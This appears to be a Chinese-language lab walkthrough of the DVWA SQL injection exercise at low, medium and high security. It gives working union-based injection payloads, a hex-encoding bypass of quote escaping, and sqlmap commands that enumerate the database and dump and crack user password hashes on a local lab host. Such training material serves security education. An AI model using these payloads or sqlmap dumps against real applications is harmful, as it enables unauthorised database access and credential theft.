About

服务端没有对用户提交的参数进行严格的过滤,导致可以将 SQL 语句插入到可控参数中,改变原有的 SQL 语义结构,从而执行攻击者所预期的结果。

手工注入思路:

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解 SQL 查询语句中的字段数
  3. 确定显示的字段顺序
  4. 获取当前数据库
  5. 获取数据库中的
  6. 获取表中的字段名
  7. 查询到账户的数据

Object

数据库中有 5 个用户,他们的 id 分别是从 1 到 5。你的任务,是用 SQL 注入的方式窃取他们的密码。

001 Low

判断注入类型

判断是否存在注入,注入是字符型还是数字型。

输入:3,页面正常

1-1.png

输入:2',页面报错:

1-2.png

由此可知,查询参数类似于下面的 SQL 语句:

  1. select * from users where id = '';

我们可以使用闭合注入(控制单引号),来看看有什么现象。输入1' or '1' = '1,有:

1-3.png

到这里我们基本能判断出这是字符型注入

判断列数

判断语句中的列数(字段数)。

输入:1' or 1=1 order by 1 #,查询成功!

1-4.png

输入:1' or 1=1 order by 2 #,查询成功!

1-5.png

输入:1' or 1=1 order by 3 #,查询失败……

1-6.png

所以列数为2。

联合查询

输入:1' union select 1, 2 #

1-7.png

获取数据库信息

在这一步中我们可以做很多事情。比如:

1、显示数据库版本号、当前数据库名;

1' union select version(), database() #

1-8.png

2、获得数据库中的表名;

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

但是这个会出一个错误:

1-9.png

这个问题和数据库的编码设置有关。在不改变数据库的情况下,一个前端解决办法是换用十六进制编码我们要的字段:

1' union select 1, hex(group_concat(table_name)) from information_schema.tables where table_schema=database() #

1-10.png

然后再到 Brupsuite 解码回来:

1-11.png

3、获得某表列名;

1' union select 1, hex(group_concat(column_name)) from information_schema.columns where table_name='users' #

1-12.png

解码过来是:

1-13.png

4、获得数据:

1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

1-14.png

002 Medium

该等级下开发者改用表单提交数据,以防止 SQL 注入。在后端代码中也加入了mysql_real_escape_string()函数,用于转义特殊字符防止 SQL 注入,受影响的字符包括:

\x00
\n
\r
\
'
"
\x1a

由于这是下拉表单,使用 POST 请求转递参数,我们可以通过 Brupsuite 或 Hackbar 来辅助攻击。表单数据可以用 Brupsuite 抓包来看,或浏览器 F12 找到。

判断注入类型

输入:id=2 or 1=1&Submit=Submit

2-1.png

再输入:id=2' or 1=1&Submit=Submit

2-2.png

由此观之,这是数字型注入

判断列数

假设是 2 列:

id=2 or 1=1 order by 2 #&Submit=Submit

2-3.png

再假设是 3 列:

id=2 or 1=1 order by 3 #&Submit=Submit

2-4.png

由此观之字段数是 3。

联合查询

使用联合查询获得数据库信息,这几个步骤和上一等级相似。

1、查询字段数;

2、数据库版本号、当前数据库名;

3、获得数据库中的表名;

2-5.png

4、获得某表列名(注意这一步会报错);

2-6.png

这是因为mysql_real_escape_string()函数把单引号转义了。我们可以使用十六进制绕过单引号:

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#&Submit=Submit

2-7.png

5、获得字段;

id=1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #&Submit=Submit

2-8.png

003 High

该等级下,开发者使用了另外一个页面,通过 Session 变量传递参数:

3-1.png

这样做的目的是为了防止一般的 sqlmap 注入,因为 sqlmap 在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入(但是我们能够返回页面看到)。

这关整体和 Low 等级差不多。

判断注入类型

输入输出表如下:

输入 输出
1 and 1=1 输出正常
1 and 1=2 输出正常
1' and '1'='1 输出正常
1' and '1'='2 没有输出

由此观之,是字符型注入。

判断列数

输入:1' or 1=1 order by 2 #,查询成功!

3-5.png

输入:1' or 1=1 order by 3 #,查询失败……

3-6.png

由此观之,字段数为 2。

联合查询

和 Low 等级一样,包括这几个步骤:

1、数据库版本号、当前数据库名:1' union select version(), database() #

3-7.png

2、获得数据库中的表名:1' union select 1, hex(group_concat(table_name)) from information_schema.tables where table_schema=database() #

3-8.png

3、获得某表列名:1' union select 1, hex(group_concat(column_name)) from information_schema.columns where table_name='users' #

3-9.png

4、获得字段:1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

3-10.png

Use Sqlmap

Sqlmap 是一个自动化的 SQL 注入工具,其主要功能是扫描,发现并利用给定的 URL 的SQL
注入漏洞,目前支持的数据库是 MySQL, Oracle, PostgreSQL, Microsoft SQL Server,
Microsoft Access, IBM DB2, SQLite, Firebird, Sybase 和 SAP MaxDB。

Sqlmap 的参数很多,可以在 Kali 中用man sqlmap查看。常用的命令如下:

  • 获取 DataName 数据库的表:-D DataName --tables
  • 列字段:--columns -T "tablename" -D "db_name" -v 0
  • 获取字段数据:-D DataName –T TableNamen –C "admin,password" --dump -v 0
  • 列出指定字段,列出 20 条:--dump -C "password,user,id" -T "tablename" -D "db_name" --start 1 --stop 20
  • 列出所有数据库所有表:--dump-all -v 0

Low Level

查找注入点

sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" --batch --threads 4

各个参数意义如下:

  • -u:传递 URL 地址;
  • --cookie:模拟登陆的情况,在 Firefox 浏览器中按 F12,选择 Storage 查看;
  • --batch:默认选项;

4-1.png

Sqlmap 发送了 150 次 HTTP 请求,找到了下列 4 个注入点,它们分别是:

  • 基于布尔类型的盲注;
  • 报错注入;
  • 基于时间的盲注;
  • 联合查询;

获得数据库信息

sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" --dbs --threads 4

4-2.png

可以看到作者当前的环境有 2 个数据库。

查看数据库中的表

sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" -D dvwa --tables --threads 4

4-3.png

Sqlmap 扫描得到 dvwa 数据库有 2 张表。

查看表里的字段

sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" --batch -D dvwa -T users --columns --threads 4

4-4.png

查看字段详细信息

我们发现 user 表里有 user 和 password 字段,我们看看它们的信息:

sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=low" --batch -D dvwa -T users –C "user,password" --dump -v 0 --threads 4

4-5.png

途中 Sqlmap 发现数据被 md5 哈希,它会尝试去做逆哈希运算。最终能得到表内数据和解密后的密码。


Medium Level

不同与 Low Level 使用 GET Request,本关卡使用的是 POST Request 发送数据。

例如我们要查找数据库信息,要使用--data="your_post_data"发送 POST Body,见下列命令:

sqlmap -u "http://vm-win10.me/dvwa/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --cookie="PHPSESSID=c62h8idq51odgm152k36v2383b;security=medium" --batch --dbs --threads 4

其他步骤和上一关一样。

References